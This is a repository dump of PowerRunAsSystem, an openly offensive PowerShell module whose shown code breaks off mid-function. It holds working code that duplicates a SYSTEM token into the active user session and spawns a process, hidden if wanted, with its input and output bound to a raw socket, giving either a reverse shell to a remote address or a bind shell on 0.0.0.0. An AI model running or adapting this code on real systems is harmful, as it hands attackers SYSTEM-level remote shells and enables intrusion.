├── LICENSE ├── PowerRunAsSystem ├── PowerRunAsSystem.psd1 └── PowerRunAsSystem.psm1 ├── README.md └── images ├── ImpersonateSystem.png ├── InteractiveSystem.png ├── ReverseInteractive.png └── RevertToSelf.png /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /PowerRunAsSystem/PowerRunAsSystem.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerRunAsSystem/29d2088e37d24179c4b7f9220e96606ccefdf0ed/PowerRunAsSystem/PowerRunAsSystem.psd1 -------------------------------------------------------------------------------- /PowerRunAsSystem/PowerRunAsSystem.psm1: -------------------------------------------------------------------------------- 1 | # ----------------------------------------------------------------------------------- # 2 | # # 3 | # .Developer # 4 | # Jean-Pierre LESUEUR (@DarkCoderSc) # 5 | # https://www.twitter.com/darkcodersc # 6 | # https://github.com/PhrozenIO # 7 | # https://github.com/DarkCoderSc # 8 | # www.phrozen.io # 9 | # jplesueur@phrozen.io # 10 | # PHROZEN # 11 | # .License # 12 | # Apache License # 13 | # Version 2.0, January 2004 # 14 | # http://www.apache.org/licenses/ # 15 | # .Disclaimer # 16 | # This script is provided "as is", without warranty of any kind, express or # 17 | # implied, including but not limited to the warranties of merchantability, # 18 | # fitness for a particular purpose and noninfringement. In no event shall the # 19 | # authors or copyright holders be liable for any claim, damages or other # 20 | # liability, whether in an action of contract, tort or otherwise, arising # 21 | # from, out of or in connection with the software or the use or other dealings # 22 | # in the software. # 23 | # # 24 | # ----------------------------------------------------------------------------------- # 25 | 26 | # ----------------------------------------------------------------------------------- # 27 | # - STRUCTURES MEMORY MAPS - # 28 | # ----------------------------------------------------------------------------------- # 29 | #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# 30 | # ----------------------------------------------------------------------------------- # 31 | # Field | Type | Size x32 | Offset x32 | Size x64 | Offset x64 # 32 | # ----------------------------------------------------------------------------------- # 33 | # PROCESS_INFORMATION # 34 | # ----------------------------------------------------------------------------------- # 35 | # hProcess | HANDLE | 0x4 | 0x0 | 0x8 | 0x0 # 36 | # hThread | HANDLE | 0x4 | 0x4 | 0x8 | 0x8 # 37 | # dwProcessId | DWORD | 0x4 | 0x8 | 0x4 | 0x10 # 38 | # dwThreadId | DWORD | 0x4 | 0xC | 0x4 | 0x14 # 39 | # ----------------------------------------------------------------------------------- # 40 | # Total Size x32: 0x10 (16 Bytes) | Total Size x64: 0x18 (24 Bytes) # 41 | # ----------------------------------------------------------------------------------- # 42 | # STARTUPINFOW # 43 | # ----------------------------------------------------------------------------------- # 44 | # cb | DWORD | 0x4 | 0x0 | 0x4 | 0x0 # 45 | # lpReserved | LPWSTR | 0x4 | 0x4 | 0x8 | 0x8 # 46 | # lpDesktop | LPWSTR | 0x4 | 0x8 | 0x8 | 0x10 # 47 | # lpTitle | LPWSTR | 0x4 | 0xC | 0x8 | 0x18 # 48 | # dwX | DWORD | 0x4 | 0x10 | 0x4 | 0x20 # 49 | # dwY | DWORD | 0x4 | 0x14 | 0x4 | 0x24 # 50 | # dwXSize | DWORD | 0x4 | 0x18 | 0x4 | 0x28 # 51 | # dwYSize | DWORD | 0x4 | 0x1C | 0x4 | 0x2C # 52 | # dwXCountChars | DWORD | 0x4 | 0x20 | 0x4 | 0x30 # 53 | # dwYCountChars | DWORD | 0x4 | 0x24 | 0x4 | 0x34 # 54 | # dwFillAttribute | DWORD | 0x4 | 0x28 | 0x4 | 0x38 # 55 | # dwFlags | DWORD | 0x4 | 0x2C | 0x4 | 0x3C # 56 | # wShowWindow | WORD | 0x2 | 0x30 | 0x2 | 0x40 # 57 | # cbReserved2 | WORD | 0x2 | 0x32 | 0x2 | 0x42 # 58 | # lpReserved2 | LPBYTE | 0x4 | 0x34 | 0x8 | 0x48 # 59 | # hStdInput | HANDLE | 0x4 | 0x38 | 0x8 | 0x50 # 60 | # hStdOutput | HANDLE | 0x4 | 0x3C | 0x8 | 0x58 # 61 | # hStdError | HANDLE | 0x4 | 0x40 | 0x8 | 0x60 # 62 | # ----------------------------------------------------------------------------------- # 63 | # Total Size x32: 0x44 (68 Bytes) | Total Size x64: 0x68 (104 Bytes) # 64 | # ----------------------------------------------------------------------------------- # 65 | # WTS_SESSION_INFOW # 66 | # ----------------------------------------------------------------------------------- # 67 | # SessionId | DWORD | 0x4 | 0x0 | 0x4 | 0x0 # 68 | # pWinStationName | LPSTR | 0x4 | 0x4 | 0x8 | 0x8 # 69 | # State | WTS_C_STATE | 0x1 | 0x8 | 0x1 | 0x10 # 70 | # ----------------------------------------------------------------------------------- # 71 | # Total Size x32: 0xC (12 Bytes) | Total Size x64: 0x18 (24 Bytes) # 72 | # ----------------------------------------------------------------------------------- # 73 | # TokenPrivilege Structure # 74 | # ----------------------------------------------------------------------------------- # 75 | # PrivilegeCount | UInt32 | 0x4 | 0x0 | 0x4 | 0x0 # 76 | # Luid | Int64 (long) | 0x8 | 0x4 | 0x8 | 0x8 # 77 | # Attributes | UInt32 | 0x4 | 0xC | 0x4 | 0x10 # 78 | # ----------------------------------------------------------------------------------- # 79 | # Total Size x32: 0x10 (16 Bytes) | Total Size x64: 0x18 (24 Bytes) # 80 | # ----------------------------------------------------------------------------------- # 81 | 82 | 83 | # ----------------------------------------------------------------------------------- # 84 | # # 85 | # # 86 | # # 87 | # Windows API Definitions # 88 | # # 89 | # # 90 | # # 91 | # ----------------------------------------------------------------------------------- # 92 | 93 | Add-Type @" 94 | using System; 95 | using System.Security; 96 | using System.Runtime.InteropServices; 97 | 98 | public static class ADVAPI32 99 | { 100 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 101 | [return: MarshalAs(UnmanagedType.Bool)] 102 | public static extern bool LookupPrivilegeValue( 103 | IntPtr lpSystemName, 104 | string lpName, 105 | ref long lpLuid 106 | ); 107 | 108 | [DllImport("advapi32.dll", SetLastError=true)] 109 | [return: MarshalAs(UnmanagedType.Bool)] 110 | public static extern bool AdjustTokenPrivileges( 111 | IntPtr TokenHandle, 112 | bool DisableAllPrivileges, 113 | IntPtr NewState, 114 | UInt32 BufferLengthInBytes, 115 | IntPtr PreviousState, 116 | IntPtr ReturnLengthInBytes 117 | ); 118 | 119 | [DllImport("advapi32.dll", SetLastError = true)] 120 | [return: MarshalAs(UnmanagedType.Bool)] 121 | public static extern bool ImpersonateNamedPipeClient( 122 | IntPtr hNamedPipe 123 | ); 124 | 125 | [DllImport("advapi32.dll", SetLastError = true)] 126 | [return: MarshalAs(UnmanagedType.Bool)] 127 | public static extern bool RevertToSelf(); 128 | } 129 | 130 | public static class Kernel32 131 | { 132 | [DllImport("kernel32.dll", SetLastError = true)] 133 | [return: MarshalAs(UnmanagedType.Bool)] 134 | public static extern bool CloseHandle(IntPtr handle); 135 | } 136 | "@ 137 | 138 | # ----------------------------------------------------------------------------------- # 139 | # # 140 | # # 141 | # # 142 | # Spawn Interactive System Process Script Block # 143 | # (Stager) # 144 | # # 145 | # # 146 | # ----------------------------------------------------------------------------------- # 147 | 148 | $InvokeInteractiveProcess_ScriptBlock = { 149 | Add-Type @" 150 | using System; 151 | using System.Security; 152 | using System.Runtime.InteropServices; 153 | 154 | public static class ADVAPI32 155 | { 156 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 157 | [return: MarshalAs(UnmanagedType.Bool)] 158 | public static extern bool CreateProcessAsUser( 159 | IntPtr hToken, 160 | IntPtr lpApplicationName, 161 | string lpCommandLine, 162 | IntPtr lpProcessAttributes, 163 | IntPtr lpThreadAttributes, 164 | bool bInheritHandles, 165 | uint dwCreationFlags, 166 | IntPtr lpEnvironment, 167 | IntPtr lpCurrentDirectory, 168 | IntPtr lpStartupInfo, 169 | IntPtr lpProcessInformation 170 | ); 171 | 172 | [DllImport("advapi32.dll", SetLastError = true)] 173 | [return: MarshalAs(UnmanagedType.Bool)] 174 | public static extern bool DuplicateTokenEx( 175 | IntPtr hExistingToken, 176 | uint dwDesiredAccess, 177 | IntPtr lpTokenAttributes, 178 | byte ImpersonationLevel, 179 | byte TokenType, 180 | ref IntPtr phNewToken 181 | ); 182 | 183 | [DllImport("advapi32.dll", SetLastError = true)] 184 | [return: MarshalAs(UnmanagedType.Bool)] 185 | public static extern bool SetTokenInformation( 186 | IntPtr TokenHandle, 187 | byte TokenInformationClass, 188 | ref UInt32 TokenInformation, 189 | UInt32 TokenInformationLength 190 | ); 191 | } 192 | 193 | public static class Kernel32 194 | { 195 | [DllImport("kernel32.dll", SetLastError = true)] 196 | [return: MarshalAs(UnmanagedType.Bool)] 197 | public static extern bool CloseHandle(IntPtr handle); 198 | } 199 | 200 | public static class WTSAPI32 201 | { 202 | [DllImport("wtsapi32.dll", SetLastError = true)] 203 | [return: MarshalAs(UnmanagedType.Bool)] 204 | public static extern bool WTSEnumerateSessions( 205 | IntPtr hServer, 206 | UInt32 Reserved, 207 | UInt32 Version, 208 | ref IntPtr ppSessionInfo, 209 | ref UInt32 pCount 210 | ); 211 | 212 | [DllImport("Ws2_32.dll", SetLastError = true)] 213 | public static extern int WSAStartup(ushort wVersionRequested, IntPtr lpWSAData); 214 | 215 | [DllImport("wtsapi32.dll")] 216 | public static extern void WTSFreeMemory(IntPtr pMemory); 217 | } 218 | 219 | public static class WS232 220 | { 221 | [DllImport("Ws2_32.dll", SetLastError = true)] 222 | [return: MarshalAs(UnmanagedType.I4)] 223 | public static extern int WSAStartup( 224 | ushort wVersionRequested, 225 | IntPtr lpWSAData 226 | ); 227 | 228 | [DllImport("Ws2_32.dll", SetLastError = true)] 229 | [return: MarshalAs(UnmanagedType.I4)] 230 | public static extern int WSACleanup(); 231 | 232 | [DllImport("ws2_32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 233 | public static extern IntPtr WSASocket( 234 | int af, 235 | int type, 236 | int protocol, 237 | IntPtr lpProtocolInfo, 238 | int g, 239 | int dwFlags 240 | ); 241 | 242 | [DllImport("ws2_32.dll", SetLastError = true)] 243 | [return: MarshalAs(UnmanagedType.I4)] 244 | public static extern int WSAConnect( 245 | IntPtr s, 246 | IntPtr name, 247 | int namelen, 248 | IntPtr lpCallerData, 249 | IntPtr lpCalleeData, 250 | IntPtr lpSQOS, 251 | IntPtr lpGQOS 252 | ); 253 | 254 | [DllImport("ws2_32.dll", SetLastError = true)] 255 | [return: MarshalAs(UnmanagedType.I4)] 256 | public static extern int bind( 257 | IntPtr s, 258 | IntPtr name, 259 | int namelen 260 | ); 261 | 262 | [DllImport("ws2_32.dll", SetLastError = true)] 263 | [return: MarshalAs(UnmanagedType.I4)] 264 | public static extern int listen( 265 | IntPtr s, 266 | int backlog 267 | ); 268 | 269 | [DllImport("ws2_32.dll", SetLastError = true)] 270 | public static extern IntPtr WSAAccept( 271 | IntPtr s, 272 | IntPtr addr, 273 | IntPtr addrlen, 274 | IntPtr lpfnCondition, 275 | IntPtr dwCallbackData 276 | ); 277 | 278 | [DllImport("ws2_32.dll", SetLastError = true)] 279 | [return: MarshalAs(UnmanagedType.I4)] 280 | public static extern int closesocket(IntPtr s); 281 | } 282 | "@ 283 | 284 | function Get-ActiveDesktopSessionId 285 | { 286 | $activeSessionId = 0xFFFFFFFF 287 | 288 | $pSessionArray = [IntPtr]::Zero 289 | $sessionCount = 0 290 | 291 | if (-not [WTSAPI32]::WTSEnumerateSessions([IntPtr]::Zero, 0, 1, [ref]$pSessionArray, [ref]$sessionCount)) 292 | { 293 | throw [WinAPIException]::New("WTSEnumerateSessions") 294 | } 295 | try 296 | { 297 | if ([Environment]::Is64BitProcess) 298 | { 299 | $structSize = 0x18 300 | $structOffset_State = 0x10 301 | } 302 | else 303 | { 304 | $structSize = 0xc 305 | $structOffset_State = 0x8 306 | } 307 | 308 | for ($i = 0; $i -lt $sessionCount; $i++) 309 | { 310 | $pOffset = [IntPtr]([Int64]$pSessionArray + ($i * $structSize)) 311 | 312 | $curSessionId = [System.Runtime.InteropServices.Marshal]::ReadInt32($pOffset, 0x0) 313 | $curSessionState = [System.Runtime.InteropServices.Marshal]::ReadInt32($pOffset, $structOffset_State) 314 | 315 | $WTS_CONNECTSTATE_CLASS_WTSActive = 0 316 | if ($curSessionState -eq $WTS_CONNECTSTATE_CLASS_WTSActive) 317 | { 318 | $activeSessionId = $curSessionId 319 | 320 | break 321 | } 322 | } 323 | } 324 | finally 325 | { 326 | if ($pSessionArray -ne [IntPtr]::Zero) 327 | { 328 | [WTSAPI32]::WTSFreeMemory($pSessionArray) 329 | } 330 | } 331 | 332 | return $activeSessionId 333 | } 334 | 335 | function Initialize-NativeSocket 336 | { 337 | $WSAData = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(408) 338 | if ([WS232]::WSAStartup(0x2020, $WSAData)) 339 | { 340 | throw [WinAPIException]::New("WSAStartup") 341 | } 342 | 343 | return $WSAData 344 | } 345 | 346 | function Clear-NativeSocket 347 | { 348 | $null = [WS232]::WSACleanup() 349 | } 350 | 351 | function New-NativeSocket 352 | { 353 | $AF_INET = 2 354 | $SOCK_STREAM = 1 355 | $IPPROTO_TCP = 6 356 | 357 | $socket = [WS232]::WSASocket($AF_INET, $SOCK_STREAM, $IPPROTO_TCP, [IntPtr]::Zero, 0, 0) 358 | if ($socket -eq [IntPtr]::Zero) 359 | { 360 | throw [WinAPIException]::New("WSASocket") 361 | } 362 | 363 | return $socket 364 | } 365 | 366 | function Close-NativeSocket 367 | { 368 | param ( 369 | [IntPtr] $Socket 370 | ) 371 | 372 | if ([int]$Socket -le 0) 373 | { 374 | return 375 | } 376 | 377 | if ([WS232]::closesocket($Socket)) 378 | { 379 | throw [WinAPIException]::New("closesocket") 380 | } 381 | 382 | } 383 | 384 | function Connect-NativeSocket 385 | { 386 | param ( 387 | [Parameter(Mandatory=$True)] 388 | [string] $Address, 389 | 390 | [Parameter(Mandatory=$True)] 391 | [ValidateRange(1, 65535)] 392 | [int] $Port, 393 | 394 | [Parameter(Mandatory=$True)] 395 | [ValidateSet("Reverse", "Bind")] 396 | [string] $Mode 397 | ) 398 | 399 | $SOCKET_ERROR = -1 400 | $sockAddrPtr = [IntPtr]::Zero 401 | $socket = $SOCKET_ERROR 402 | try 403 | { 404 | $socket = New-NativeSocket 405 | 406 | # This tiny hack is used to avoid defining by hand `SockAddr` native structure. 407 | $ipEndPoint = [System.Net.IPEndPoint]::New( 408 | [System.Net.IPAddress]::Parse($Address), 409 | $Port 410 | ) 411 | 412 | $sockAddr = $ipEndPoint.Serialize() 413 | 414 | $sockAddrPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sockAddr.Size) 415 | 416 | for ($i = 0; $i -lt $sockAddr.Size; $i++) { 417 | [System.Runtime.InteropServices.Marshal]::WriteByte($sockAddrPtr, $i, $sockAddr[$i]) 418 | } 419 | 420 | Switch ($RedirectKind) 421 | { 422 | # Reverse Shell: Remote listener must be started before executing this command. 423 | "Reverse" { 424 | $result = [WS232]::WSAConnect( 425 | $socket, 426 | $sockAddrPtr, 427 | $sockAddr.Size, 428 | [IntPtr]::Zero, 429 | [IntPtr]::Zero, 430 | [IntPtr]::Zero, 431 | [IntPtr]::Zero 432 | ) 433 | if ($result -eq $SOCKET_ERROR) 434 | { 435 | throw [WinAPIException]::New("WSAConnect") 436 | } 437 | } 438 | 439 | # Bind Shell: This will start a listener and wait for a single connection to occur. Notice that 440 | # this method will block the execution until a connection is established. 441 | "Bind" { 442 | $result = [WS232]::bind( 443 | $socket, 444 | $sockAddrPtr, 445 | $sockAddr.Size 446 | ) 447 | 448 | if ($result -eq $SOCKET_ERROR) 449 | { 450 | throw [WinAPIException]::New("bind") 451 | } 452 | 453 | $result = [WS232]::listen( 454 | $socket, 455 | 1 # Maximum number of pending connections (We only need one) 456 | ) 457 | 458 | if ($result -eq $SOCKET_ERROR) 459 | { 460 | throw [WinAPIException]::New("listen") 461 | } 462 | 463 | $socket = [WS232]::WSAAccept( 464 | $socket, 465 | [IntPtr]::Zero, 466 | [IntPtr]::Zero, 467 | [IntPtr]::Zero, 468 | [IntPtr]::Zero 469 | ) 470 | } 471 | } 472 | } 473 | catch 474 | { 475 | Close-NativeSocket -Socket $socket 476 | 477 | $socket = $SOCKET_ERROR 478 | } 479 | finally 480 | { 481 | if ($sockAddrPtr -ne [IntPtr]::Zero) 482 | { 483 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($sockAddrPtr) 484 | } 485 | } 486 | 487 | return $socket 488 | } 489 | 490 | function Invoke-InteractiveSystemProcess 491 | { 492 | param( 493 | [string] $CommandLine = "powershell.exe", 494 | [switch] $Hide, 495 | 496 | [ValidateSet("None", "Reverse", "Bind")] 497 | [string] $RedirectKind = "None", 498 | 499 | [string] $Address = "", 500 | 501 | [ValidateRange(1, 65535)] 502 | [int] $Port = 2801 503 | ) 504 | 505 | if (-not [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) 506 | { 507 | return 508 | } 509 | 510 | $redirectFd = $false 511 | if ($RedirectKind -ne "None") 512 | { 513 | # Initialize Default Address (Depending on the context) 514 | if ($Address -eq "") 515 | { 516 | Switch ($RedirectKind) 517 | { 518 | "Reverse" { 519 | $Address = "127.0.0.1" 520 | } 521 | 522 | "Bind" { 523 | $Address = "0.0.0.0" 524 | } 525 | } 526 | } 527 | 528 | Initialize-NativeSocket 529 | 530 | $socket = Connect-NativeSocket -Address $Address -Port $Port -Mode $RedirectKind 531 | 532 | $redirectFd = $true 533 | } 534 | 535 | $newToken = [IntPtr]::Zero 536 | try 537 | { 538 | $token = [Security.Principal.WindowsIdentity]::GetCurrent().Token 539 | 540 | $MAXIMUM_ALLOWED = 0x02000000 541 | $SECURITY_IMPERSONATION_LEVEL_SecurityImpersonation = 0x2 542 | $TOKEN_TYPE_TokenPrimary = 0x1 543 | 544 | if (-not [ADVAPI32]::DuplicateTokenEx( 545 | $token, 546 | $MAXIMUM_ALLOWED, 547 | [IntPtr]::Zero, 548 | $SECURITY_IMPERSONATION_LEVEL_SecurityImpersonation, 549 | $TOKEN_TYPE_TokenPrimary, 550 | [ref]$newToken) 551 | ) 552 | { 553 | throw [WinAPIException]::New("DuplicateTokenEx") 554 | } 555 | 556 | $activeSessionId = Get-ActiveDesktopSessionId 557 | 558 | $TOKEN_INFORMATION_CLASS_TokenSessionId = 0xc 559 | 560 | if (-not [ADVAPI32]::SetTokenInformation( 561 | $newToken, 562 | $TOKEN_INFORMATION_CLASS_TokenSessionId, 563 | [ref]$activeSessionId, 564 | [Runtime.InteropServices.Marshal]::SizeOf($activeSessionId)) 565 | ) 566 | { 567 | throw [WinAPIException]::New("SetTokenInformation") 568 | } 569 | 570 | $STARTF_USESTDHANDLES = 0x100 571 | $STARTF_USESHOWWINDOW = 0x1 572 | $SW_SHOW = 0x5 573 | $SW_HIDE = 0x0 574 | 575 | if ([Environment]::Is64BitProcess) 576 | { 577 | # STARTUP_INFO x64 578 | $STARTUPINFO_structSize = 0x68 579 | $STARTUPINFO_dwFlags = 0x3c 580 | $STARTUPINFO_wShowWindow = 0x40 581 | $STARTUPINFO_StdInput = 0x50 582 | $STARTUPINFO_StdOutput = 0x58 583 | $STARTUPINFO_StdError = 0x60 584 | 585 | # PROCESS_INFORMATION x64 586 | $PROCESS_INFORMATION_structSize = 0x18 587 | $PROCESS_INFORMATION_dwProcessId = 0x10 588 | $PROCESS_INFORMATION_hThread = 0x8 589 | } 590 | else 591 | { 592 | # STARTUP_INFO x32 593 | $STARTUPINFO_structSize = 0x44 594 | $STARTUPINFO_dwFlags = 0x2c 595 | $STARTUPINFO_wShowWindow = 0x30 596 | $STARTUPINFO_StdInput = 0x38 597 | $STARTUPINFO_StdOutput = 0x3c 598 | $STARTUPINFO_StdError = 0x40 599 | 600 | # PROCESS_INFORMATION x32 601 | $PROCESS_INFORMATION_structSize = 0x10 602 | $PROCESS_INFORMATION_dwProcessId = 0x8 603 | $PROCESS_INFORMATION_hThread = 0x4 604 | } 605 | 606 | $pSTARTUPINFO = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($STARTUPINFO_structSize) 607 | $pPROCESS_INFORMATION = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PROCESS_INFORMATION_structSize) 608 | try 609 | { 610 | Invoke-ZeroMemory -MemoryOffset $pSTARTUPINFO -Size $STARTUPINFO_structSize 611 | Invoke-ZeroMemory -MemoryOffset $pPROCESS_INFORMATION -Size $PROCESS_INFORMATION_structSize 612 | 613 | # STARTUPINFO Structure Initialization 614 | [System.Runtime.InteropServices.Marshal]::WriteInt32( 615 | $pSTARTUPINFO, 616 | 0x0, 617 | $STARTUPINFO_structSize 618 | ) 619 | 620 | $dwFlags = $STARTF_USESHOWWINDOW 621 | if ($redirectFd) 622 | { 623 | $dwFlags = $dwFlags -bor $STARTF_USESTDHANDLES 624 | } 625 | 626 | [System.Runtime.InteropServices.Marshal]::WriteInt32( 627 | $pSTARTUPINFO, 628 | $STARTUPINFO_dwFlags, 629 | $dwFlags 630 | ) 631 | 632 | [System.Runtime.InteropServices.Marshal]::WriteInt16( 633 | $pSTARTUPINFO, 634 | $STARTUPINFO_wShowWindow, 635 | $(if ($Hide) {$SW_HIDE} else {$SW_SHOW}) 636 | ) 637 | 638 | # Redirect Standard I/O 639 | if ($redirectFd) 640 | { 641 | [System.Runtime.InteropServices.Marshal]::WriteIntPtr( 642 | $pSTARTUPINFO, 643 | $STARTUPINFO_StdInput, 644 | $socket 645 | ) 646 | 647 | [System.Runtime.InteropServices.Marshal]::WriteIntPtr( 648 | $pSTARTUPINFO, 649 | $STARTUPINFO_StdOutput, 650 | $socket 651 | ) 652 | 653 | [System.Runtime.InteropServices.Marshal]::WriteIntPtr( 654 | $pSTARTUPINFO, 655 | $STARTUPINFO_StdError, 656 | $socket 657 